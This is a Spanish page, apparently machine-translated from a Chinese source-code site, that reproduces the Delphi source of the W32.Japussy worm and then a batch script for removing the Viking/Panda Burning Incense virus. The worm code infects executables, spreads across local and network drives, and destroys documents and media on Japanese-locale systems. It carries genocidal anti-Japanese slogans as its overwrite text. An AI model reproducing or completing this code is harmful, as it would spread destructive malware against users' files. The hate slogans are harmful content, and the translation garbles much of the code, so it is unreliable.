Red de conocimiento informático - Aprendizaje de código fuente - Borrar el código fuente del encabezado pe

Borrar el código fuente del encabezado pe

Programa Japussy

Usos

Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}.

Constant

HeaderSize = 82432//El tamaño del virus

icon offset = $ 12eb 8 //El desplazamiento del icono principal del PE; file

p>

//El tamaño compilado en mi Delphi5 SP1 puede variar en otras versiones de Delphi.

//Busque la cadena hexadecimal 2800000020 y busque el desplazamiento del icono principal.

{

header size = 38912; //El tamaño del cuerpo del virus comprimido Upx

IconOffset = $92BC//El icono principal del Upx comprimido Desplazamiento del archivo PE.

//Uso Upx 1.24W: Upx-9-8086 Japussy.exe.

}

IconSize = $ 2E8 //Tamaño del icono principal del archivo PE - 744 bytes

icon tail = desplazamiento del icono IconSize //Icono principal del archivo PE El cola de

ID = $44444444//Marca de infección

//Escribe código basura.

Si hay que eliminar una carrera, debe ser la carrera de Yamato. ''''''''''''''''

Si un país necesita ser destruido, ¡debe ser Japón! ''''''''''''''''

' ' ' ' ' ' ' ' ' ' ' ' ' ' *** W32. Japussy . Gusano.A * * *

{$R *.

RES}

Función RegisterServiceProcess(dwProcessID, tipo dw: Entero): Entero;

stdcall externo ' ' ' ' ' ' ' ' ' ' ' ' kernel 32. dll ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ';//Declaración de función

Definir variables

TmpFile: cadena;

si: información de inicio ;

Pi: Process_Information;

IsJap: Boolean = False; //Etiqueta del sistema operativo japonés

{Juzga si es Win9x}

La función es win9x: Booleana;

Definir variable

ver: TOSVersionInfo;

Inicio

Resultado: = false ;

ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);

Si no es GetVersionEx(Ver), entonces

Salir;

si (ver . dwplatformid = VER_PLATFORM_WIN32_WINDOWS) luego //Win9x

resultado:=true;

end;

{Copiar entre secuencias}

Procesar copia stream(Src: TStream; sStartPos: entero; dst: TStream;

dStartPos: entero; recuento: entero

Definir variables

p>

sCurPos, dCurPos: Entero;

Inicio

sCurPos:= Src. Posición;

dCurPos := Dst. Ubicación;

Src. Seek(sStartPos, 0);

Horario de verano. Seek(dStartPos, 0);

Horario de verano. CopyFrom(Origen, Conde);

Origen. Seek(sCurPos, 0);

Horario de verano. Seek(dCurPos, 0);

End;

{Separar archivos host de archivos PE infectados}

Procesar ExtractFile(nombre de archivo: char String);

Definir variables

sStream, dStream: TFileStream;

Iniciar

Probar

sStream: =TFileStream. Create(ParamStr(0), fmOpenRead o fmShareDenyNone);

Prueba

dStream := TFileStream. create(filename, fmCreate);

Prueba

stream. Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado

dStream. CopyFrom(sStream, sStream.size-header size);

Finalmente

dStream. Gratis;

Fin;

Final

Transmisión.

Gratis;

Fin;

Excepto...

Fin;

Fin;

{ Rellenar STARTUPINFO estructura}

Procedimiento FillStartupInfo(var Si: información de inicio; estado: Word);

Inicio

Si CB: = SizeOf(Si); p>

si .LP reservado:= nil;

si lpdesktop:= nil

si . .dw banderas:= STARTF _ USESHOWWINDOW;

si .wshowindow:= Estado

si . := nil;

Fin;

{Enviar correo venenoso}

El proceso SendMail

Iniciar

//¿Quién quiere completarlo?

Fin;

{Archivo PE infectado}

Procesar InfectOneFile(nombre de archivo: cadena);

Definir variables

HdrStream, SrcStream: TFileStream;

IcoStream, dst stream: TMemoryStream

iID: LongInt

aIcon: TIcon; p> p>

Infectado, IsPE: Booleano;

I: Entero;

Buf: Char of array[0..1]

Inicio

p>

Intente //Error, el archivo está en uso, salga.

Si comparetext(filename, ' ' ' ' ' ' ' ' ' japussy.exe ' ' ' ' ' ' ' ' ') = 0 entonces // si eres tú mismo, no te infectarás.

Salir;

Infectado:=False;

IsPE:=False;

SrcStream:=TFileStream. Create(filename, fmOpenRead);

Intente

Para i := 0 a $108, verifique el encabezado del archivo PE.

Iniciar

SrcStream. Buscar(i,sofrombinging);

SrcStream. Read(Buf, 2);

Si (buf[0] = #80) y (buf[1] = #69) entonces //etiqueta PE

Inicio

IsPE:= True; //Es un archivo PE.

Romper;

Fin

Fin

SrcStream. Seek(-4, soFromEnd); //Comprueba el indicador de infección

SrcStream. Cambie a (iID, 4);

Si (iID = ID) o (SrcStream. size lt10240) entonces // los archivos que sean demasiado pequeños no se infectarán.

Infectado: = Verdadero

Último

SrcStream.

Gratis;

Fin;

Si está infectado o (no es IsPE), entonces // Si está infectado o no, el archivo PE sale.

Salir;

IcoStream := TMemoryStream. Crear;

DstStream := TMemoryStream. Crear;

Pruebe

aIcon := TIcon. Crear;

Probar

//Obtener el icono principal (744 bytes) del archivo infectado y almacenarlo en la secuencia.

Aikang. Manija de liberación;

Aikang. Identificador:= ExtractIcon(HInstance, PChar(FileName), 0);

Aikang. SaveToStream(IcoStream);

Finalmente

IcoStream. Gratis;

Fin;

SrcStream := TFileStream. Create(filename, fmOpenRead);

//Archivo de encabezado

HdrStream:= TFileStream. Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

Probar

//Escribir datos antes del icono principal del virus.

CopyStream(HdrStream, 0, DstStream, 0, icon offset);

//Escribe el icono principal del programa actual.

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//Escribe los datos del icono principal del virus en la cola del virus.

CopyStream(HdrStream, IconTail, DstStream, IconTail, tamaño del encabezado-icono de cola);

//Escribir en el programa host

CopyStream(SrcStream, 0 , DstStream, HeaderSize, SrcStream size);

//Escribir bandera infectada

DstStream. Buscar(0, 2);

iID: = $4444444;

DstStream. Write(iID, 4);

Finalmente

HdrStream. Gratis;

Fin;

Finalmente

SrcStream. Gratis;

IcoStream. Gratis;

DstStream. SaveToFile(filename); //Reemplazar el archivo host

DstStream.

Gratis

Fin

Excepto;

Fin

Fin

{Escribe el archivo de destino; Eliminar spam después de ingresarlo}

Procedimiento SmashFile (nombre de archivo: cadena);

Definir variables

FileHandle: entero;

I , Tamaño, Masa, Máx., Longitud: entero;

Iniciar

Probar

setfile atributos(PChar(FileName), 0 // Eliminar lectura-); único atributo

FileHandle:= FileOpen(FileName, fmOpenWrite); //Abre el archivo

Intenta

Tamaño:= GetFileSize(FileHandle, nil); /Tamaño del archivo

I:= 0;

Aleatorización;

max:= Random(15); //Aleatorio para escribir código basura Veces

Si Max lt entonces 5

max:= 5;

mass:= Size div Max //El tamaño de cada bloque de intervalo

p>

Len:= Longitud(eslogan);

Y lt Max More

Inicio

FileSeek(FileHandle, i * Mass, 0) ; //Posicionamiento

//Escribe código basura para destruir completamente el archivo.

FileWrite(FileHandle, Catchword, Len);

Inc(1);

Fin

Finalmente

<; p>file close(file handle); //Cerrar el archivo

Fin;

DeleteFile(PChar(nombre de archivo)); //Eliminarlo

Eliminar...fuera

Fin;

Fin;

{Obtener lista de unidades grabables}

Función obtener unidades: cadena;

Definir variables

tipo de disco: Word;

d: Char;

Str: cadena

I: entero;

Inicio

Para i:= 0 a 25, haga // Recorra 26 letras.

Inicio

d:= Chr(I 65);

str:= D """"""":\"""" "" """"";

tipo de disco: = obtener tipo de unidad(PChar(Str));

//Obtener el disco local y el disco de red.

Si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces

Resultado: = resultado D;

Fin;

Fin ;

{Atravesar directorios, infectar y destruir archivos}

Procesar LoopFiles(ruta, máscara: cadena);

Definir variables

I, contar: entero;

Fn, Ext: cadena;

SubDir: t cadenas

búsqueda rec: TSearchRec

msg:TMsg;

la función es validir(search rec:TSearchRec):Integer;

Iniciar

if (SearchRec.Attr lt gt16) y ( SearchRec. namelt gt''''''''''''.'''''''''') y

(SearchRec. name lt gt'''''' ''''''''''..'''''''''''') luego

Resultado: = 0 //No es un directorio.

si no (SearchRec.Attr = 16) y (SearchRec.namelt gt''''''''''''''''.'''''''' ' ''') y

(SearchRec. Namelt gt''''''''''''..'''''''''''' ')Entonces

Resultado: = 1 //No es el directorio raíz.

else resultado: = 2; // es el directorio raíz.

Fin;

Inicio

si (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) entonces

Inicio

Repetir

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas.

Si IsValidDir(SearchRec) = 0, entonces

Inicio

Fn := Ruta SearchRec. Nombre;

Ext:=uppercase(ExtractFileExt(Fn));

if (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. EXE ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. SCR ' ' ' ' ' 'Entonces

Iniciar

Archivo de infección (Fn); //Archivo ejecutable infectado

End

else if (Ext = ' ' ' ' ' ' ' ' ' ' ' '. HTM ' ' ' ' ' ' ' ' ' ' ' o (externo = ' ' ' ' ' ' ' ' ' ' ' ' '. HTML ' ' ' ' ' ' ' ' ' ' ' o ( Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '.ASP ' ' ' ' ' 'Luego

Iniciar

//Infectar archivos HTML y ASP, escribir virus codificados en Base64.

//Infecta a todos los usuarios que naveguen por esta página web.

//¿Qué jefe está dispuesto a completarlo?

Fin

En caso contrario, si text = ' ' ' ' ' ' ' ' ' ' ' ' ' '. WAB ' ' ' ' ' ' ' 'Entonces //Archivo de libreta de direcciones de Outlook.

Inicio

//Obtener dirección de correo electrónico de Outlook

Fin

De lo contrario, si text = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. ADC ' ' ' ' ' ' Luego // archivo de autocompletar dirección de foxmail.

Inicio

//Obtener la dirección de correo electrónico de Foxmail

Fin

De lo contrario, si text = ' ' ' ' ' ' ' ' ' ' ' ' ' ' IND ' ' ' ' ' ' ' ' ' ' Luego // archivo de la libreta de direcciones de Foxmail.

Inicio

//Obtener dirección de correo electrónico de Foxmail

Fin

Otros

Inicio

Si es IsJap entonces // es un sistema operativo japonés.

Inicio

if (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '.DOC ' ' ' ' ' ' ' ' ' ' ' 'o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. MDB ' ' ' ' ' ' ' ' ' ' ') o

(Ext=""""""""". MP3""""""""o(Ext="" """"""RM ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. RA ' ' ' ' ' ' ' ' ' ' ' ') o

(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. WMA ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. ZIP ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. RAR ' ' ' ' ' ' ' ' ' ' ' ') o

(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. MPEG ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. ASF ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '.JPG ' ' ' ' ' ' ' ' ' ' ') o

(Ext = ' ' ' ' ' ' ' ' ' ' ' .JPEG ' ' ' ' ' ' ' ' ' ' ' ' 'o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '.

GIF ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. SWF ' ' ' ' ' ' ' ' ' ' ') o

(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. PDF ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. CHM ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '.AVI ' ' ' ' ' 'Entonces

smash file(Fn); // Destruye el archivo

End;

End;

End;

//Dormir durante 200 milisegundos después de infectar o eliminar archivos para evitar sospechas causadas por un uso elevado de la CPU

Sleep(200);

Hasta (FindNext(search rec) lt. ; gt0

Fin;

FindClose(buscar rec);

SubDir := TStringList Crear

if(FindFirst (Ruta ' ' ' ' ' ' ' ' ' ' ' ' *. * ' ' ' ' ' ' ' ' ', faDirectory, SearchRec) = 0) Luego

Iniciar

Repetir

Si IsValidDir(SearchRec) = 1, entonces

SubDir.Add(SearchRec.name);

Until(FindNext(search rec) lt; gt0); p>Fin;

FindClose(search rec);

Contar:= SubDir.

para i:= 0 para contar

p>

Archivo de bucle (ruta subdir. cadena ' ' ' ' ' ' ' ' ' ' ' \ ' ' ' ' ' ' ' ' ', máscara);

FreeAndNil(SubDir);

Fin;

{Recorrer todos los archivos en el disco}

Procesar archivo de infección;

Definir variables

controlador lista: cadena;

I, Len: entero;

Inicio

Si GetACP = 932, entonces //sistema operativo japonés

IsJap: = Verdadero; //¡Vete al infierno!

lista de controladores:= obtener unidades; //Obtener la lista de discos grabables

len:= Longitud(lista de controladores);

Mientras sea Verdadero, //Ilimitado Bucle

Inicio

For i := Len downto 1 do //Repita cada unidad de disco.

archivos de bucle (lista de controladores """"""":\""""""""""""""*"*'''''' '''''' ''''); //Infectado

SendMail//Enviar correos electrónicos venenosos

Dormir (1000 * 60 * 5); //Dormir durante 5 minutos

Fin;

Fin;

{Se inicia el programa principal}

Inicio

Si es Win9x, entonces/ / es Win9x.

RegisterServiceProcess(getCurrentProcessID, 1)//Registrarse como proceso de servicio.

else //WinNT

Inicio

//El subproceso remoto se asigna al proceso del administrador de recursos.

//¿Qué hermano está dispuesto a completarlo?

Fin;

//Si es el virión original.

Si se compara texto(extraer nombre de archivo(ParamStr(0)), ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' Japussy.exe'''''''''''''') = 0, luego

Archivos infectados //Infectados y correo electrónico< / p>

Else //Ha sido parasitado en el programa host y comenzó a funcionar.

Inicio

TmpFile:= ParamStr(0); //Crear un archivo temporal

Delete(TmpFile, Longitud(TmpFile) - 4, 4);

TmpFile := TmpFile #32 ' ' ' ' ' ' ' ' ' ' '. exe//Archivo host real, con un espacio más.

extraer archivo(TmpFile); //Separarlo

FillStartupInfo(Si, SW_show default);

CreateProcess(PChar(TmpFile),PChar( TmpFile) , nil, nil, Verdadero,

0, cero, ' ' ' ' ' ' ' ' ' ' '. '''''''''''', Si, Pi); //Crea un nuevo proceso para ejecutar.

InfectFiles//Infecciones y Correos Electrónicos

Fin;

Fin.

Por favor indique la fuente de www.honkercn.net, el amigo que lo reenvió.

El siguiente es el proceso para la eliminación por lotes de los virus Weijin y Panda Burning Incense.

@Close Echo

Herramienta de título para eliminar la última variante del virus VIKING (logo_1, panda quemando incienso)

Herramienta @echo, utilizada para eliminar el última variante del virus VIKING

Abortar

Ifexist windir\rundl132. exe echo - ¡Informe al jefe que hay una emboscada del virus vikingo! Déjame matarlo -

Ifexist windir\logo_1.

exe echo-informe al jefe que hay una emboscada del virus vikingo. Déjame matarlo -

//Matar proceso vikingo

tskill logo_1

tskill rundl132

tskill zt

Tskillwa

tskill logo1__

Tskill Ravmon

Tskill Egghorst

Tskiel Melmon

Tskiel KAVPFW

Tskiel Ipamore

Tskiel Ravmond

taskkill /f/im 0sy.exe

taskkill /f /im 1sy.exe

taskkill /f/im 2sy.exe

taskkill/f/im 3sy.exe

taskkill/f/im 4sy.exe

taskkill/f /im 5sy.exe

taskkill/f/ soy 6sy.exe

taskkill/f/im 7sy.exe

taskkill/f/im 8sy.exe

taskkill/f/im 9sy.exe

//Eliminar troyano

del d:\_desktop.ini /f/s/q/a

del c:\Program Files\_desktop.ini

del Windir\mic know\mic know dll

del Windir\MH_FILE\MH_DLL.dll

del Windir\_desktop.ini

del Windir\hoy ztking\hoy ztking.

Biblioteca de enlaces dinámicos

attrib -h -r -s c:\go.exe

del c:\go.exe

del c:\setup.exe

attrib -h -s -r c:\autorun.inf

del c:\autorun.inf

attrib -h -r -s d:\go .exe

del d:\go.exe

del d:\setup.exe

attrib -h -s -r d:\autorun.inf

del d:\autorun.inf

del e:\setup.exe

attrib -h -r -s e:\go.exe

del e:\go.exe

attrib -h -s -r e:\autorun.inf

del e:\autorun.inf

attrib -h -r -s f:\go.exe

del f:\go.exe

del f:\setup.exe

attrib -h -s -r f:\autorun.inf

del f:\autorun.inf

attrib -h -r -s g:\go.exe

del g:\go.exe

del g:\setup.exe

attrib -h -s -r g:\autorun.inf

del g:\ autorun.inf

del h:\go.exe

del h:\setup.exe

attrib -h -s -r g:\autorun.inf

del h:\autorun.inf

del i:\go.exe

attrib -h -s -r g:\autorun.inf

del i:\autorun.inf

del i:\setup.exe

del j:\go.exe

attrib -h - s -r g:\autorun.inf

del j:\autorun.inf

del j:\setup.exe

del windir\system\logo 1 _. exedel windir\system\Logo_1 exe

del windir\rundl132.exe

del windir\vDll.dll

del windir\Dll.dll<. /p>

del windir\0Sy.exe

del windir\1Sy.exe

del windir\2Sy.exe

del windir\3Sy. exe

del windir\5Sy.exe

del windir\1.com

@ echo _Informe al jefe que todos los vikingos han sido ejecutados.

@echo está muy cansado. Inmuniza tu sistema nuevamente. Si no lo necesita, salga directamente.

Abortar

//Sistema inmunológico

echo gtwindir\Logo1_. Extensión del programa ejecutable

echo gtwindir\rundl132.exe

echo gtwindir\0Sy.exe

echo gtwindir\vDll.dll

echo gtwindir\1Sy.exe

echo gtwindir\2Sy.exe

echo gtwindir\rundll32.exe

echo gtwindir\3Sy.exe

echo gtwindir\5Sy.exe

echo gtwindir\1.com

echo gtwindir\exerouter.exe

echo gtwindir\EXP10RER.com

p>

echo gtwindir\finders.com

echo gtwindir\Shell.sys

echo gtwindir\kill.exe

echo gtwindir\sws dll.

echo gtwindir\sws32.dll

echo gt windir\uninstall\rundl 132 exe

echo gtwindir\SVCHOST.exe

. echo gtwindir\WINLOGON.exe

echo gtwindir\RUNDLL32. La extensión del programa ejecutable

echo gtC:\"Program File"\svchost.exe

echo gtC:\"Program File"\svchost.exe

echo gtwindir\Download\svchost.exe

echo gtwindir\system32\wldll.dll

attrib windir\Logo1_.

exe s r h

attrib windir \ rundl 132 . exe s r h

attrib windir\0Sy.exe s r h

attrib windir\vDll.dll s r h

attrib windir\1sy .exe s r h

attrib windir\2Sy.exe s r h

attrib windir\ rundll32 .exe s r h

attrib windir\3Sy.exe s r h

attrib windir\5Sy.exe s r h

attrib windir \ 1 . com s r h

attrib windir \ exe enrutador . >attrib windir \ exp 10 rer . com s r h

attrib windir \ finders . com s r h

attrib windir\Shell.sys s r h

attrib windir\kill. exe s r h

attrib windir\sws.dll s r h

attrib windir\sws32.dll s r h

attrib windir \ uninstall \ rundl 132 . >

attrib windir \ svchost . exe s r h

attrib windir \ winlogon exe s r h

attrib windir\RUNDLL32. EXE s r h

atributo C:\"Archivos de programa"\svchost.exe s r h

atributo C:\"Archivos de programa"\Internet Explorer"\svchost.exe s r h

attrib windir \ Download \ svchost . exe s r h

attrib windir \ system32 \ wldll dll s r h

net share c$/del

net share. d USD/del

Participación neta e USD/del

Participación neta f USD/del

Participación neta gastos administrativos/del

Net share ipc$ /del

cls

@echo -

@echo Viking ha sido asesinado por mí. Ja, ¿no es asombroso? p>

@echo ¡El sistema ha sido inmunizado exitosamente!

@echo ¡Gracias por usarlo, reinicie su computadora!

@echo -

Abortar